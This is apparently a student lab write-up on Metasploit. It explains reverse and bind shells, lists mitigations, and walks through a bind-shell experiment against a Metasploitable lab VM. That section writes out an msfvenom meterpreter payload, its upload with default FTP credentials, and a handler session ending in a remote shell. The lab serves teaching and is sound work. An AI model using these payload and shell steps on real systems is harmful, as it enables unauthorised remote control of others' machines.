

1 Concepts of Metasploit:

Metasploit is a free penetration testing platform that offers a wide range of vulnerability testing tools, along with capabilities for enumeration, scanning, and more. It consists of four main modules: Auxiliary, Exploit, Payload, and Post.

Auxiliary Module: The auxiliary module in Metasploit is responsible for tasks such as data gathering and management. It plays a supporting role in various operations.

Exploit Module: The exploit module is used to leverage vulnerabilities, enabling the attacker to gain control of the victim's computer system.

Payload Module: The payload module is used to execute commands on the victim's host, assisting the attacker in performing operations on the compromised system.

Post Module: The post module is used to execute follow-up operations, such as information extraction, after a successful compromise.

2 Differences between Reverse Shell and Bind Shell

A reverse shell and a bind shell are both command line shells executed on the victim's machine.

The key difference in their operation lies in their ways of working: a reverse shell enables the victim's machine to directly connect to the attacker's machine, whereas a bind shell opens a port on the victim's machine, which the attacker then connects to.

Due to the difference in connection directions, using a bind shell requires knowledge of the victim's machine's IP address, whereas with a reverse shell, this information is not necessary. Bind shells may be blocked by firewalls, whereas reverse shells typically bypass such restrictions. In the reverse shell experiment, you need to specify the attacker's machine's IP address and port number, while in a bind shell experiment, you need to specify the victim's machine's IP address and port number.

3 A Scenario to use Reverse Shell and Bind Shell

A hacker attempts to steal account information from a network gaming company. Due to the company's usage of outdated open-source modules on their servers, some modules pose security risks. Additionally, the employees lack training and have weak security awareness.

Therefore, the hacker approaches the situation from two angles: firstly, searching for vulnerabilities in modules with security risks to inject bind shell or reverse shell. Secondly, the hacker sent phishing emails to the company employees in an attempt to install bind shell or reverse shell through this method.

4 Mitigation Measures

- 4.1 Replace vulnerable modules: Modules with security risks must be replaced.
- 4.2 Employee cybersecurity training: Provide cybersecurity training to employees to eliminate risks caused by unprofessional actions.
- 4.3 Firewall upgrade: Upgrade the firewall, close unnecessary ports on the server, and block outbound connections initiated by the server.
- 4.4 Isolate servers: Place servers within secure containers to enhance their security.
- 4.5 Implement proxy Servers: Set up proxy servers for the servers to enhance security.
- 4.6 Restrict root privileges: Avoid executing commands with root privileges on the server.

5 Experiment Steps and Results for Bind Shell

- 5.1 Generate a payload with the type "linux/x86/meterpreter/bind_tcp", output format as "elf", and save it as "bind.elf", PORT as 5555, using msfvenom.

```

(hello@kali)-[~]
$ msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf -o bind.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the
payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 111 bytes
Final size of elf file: 195 bytes
Saved as: bind.elf

```

5.2 Send the payload to the victim's machine using FTP protocol.

```

(hello@kali)-[~]
$ ftp 10.0.2.6
Connected to 10.0.2.6.
220 (vsFTPd 2.3.4)
Name (10.0.2.6:hello): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put bind.elf
local: bind.elf remote: bind.elf
229 Entering Extended Passive Mode (|||29864|).

```

5.3 Control the victim's machine via SSH to make the payload executable.

```

(hello@kali)-[~]
$ ssh msfadmin@10.0.2.6
The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQ0suPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.6' (RSA) to the list of known hosts.
msfadmin@10.0.2.6's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sat Nov  4 09:09:06 2023
msfadmin@metasploitable:~$

```

```

The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.6' (RSA) to the list of known hosts.
msfadmin@10.0.2.6's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sat Nov  4 09:09:06 2023
msfadmin@metasploitable:~$ chmod +x bind.elf
msfadmin@metasploitable:~$ ls -al bind.elf
-rwxr-xr-x 1 msfadmin msfadmin 195 2023-11-04 09:16 bind.elf
msfadmin@metasploitable:~$

```

5.4 Open MSFConsole and use exploit/multi/handler module

5.5 Set parameters such as "lport", "lhost", and specify the payload type.

5.6 Run the module.

```

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set rhost 10.0.2.6
[!] Unknown datastore option: rhost. Did you mean LHOST?
rhost => 10.0.2.6
msf6 exploit(multi/handler) > set lhost 10.0.2.6
lhost => 10.0.2.6
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.0.2.6:5555
[*] Sending stage (1017704 bytes) to 10.0.2.6
[*] Meterpreter session 1 opened (10.0.2.15:41019 -> 10.0.2.6:5555) at 2023-11-04 10:14:25 -0400

meterpreter >

```

5.7 Execute the payload on the victim's machine.

5.8 Successful compromise of the victim's machine verify the access by typing "whoami" to confirm the compromise.

```
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set rhost 10.0.2.6
[!] Unknown datastore option: rhost. Did you mean LHOST?
rhost => 10.0.2.6
msf6 exploit(multi/handler) > set lhost 10.0.2.6
lhost => 10.0.2.6
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.0.2.6:5555
[*] Sending stage (1017704 bytes) to 10.0.2.6
[*] Meterpreter session 1 opened (10.0.2.15:41019 -> 10.0.2.6:5555) at 2023-11-04 10:14:25 -0400

meterpreter > shell
Process 4699 created.
Channel 1 created.
whoami
msfadmin
```

6 Screen Shots





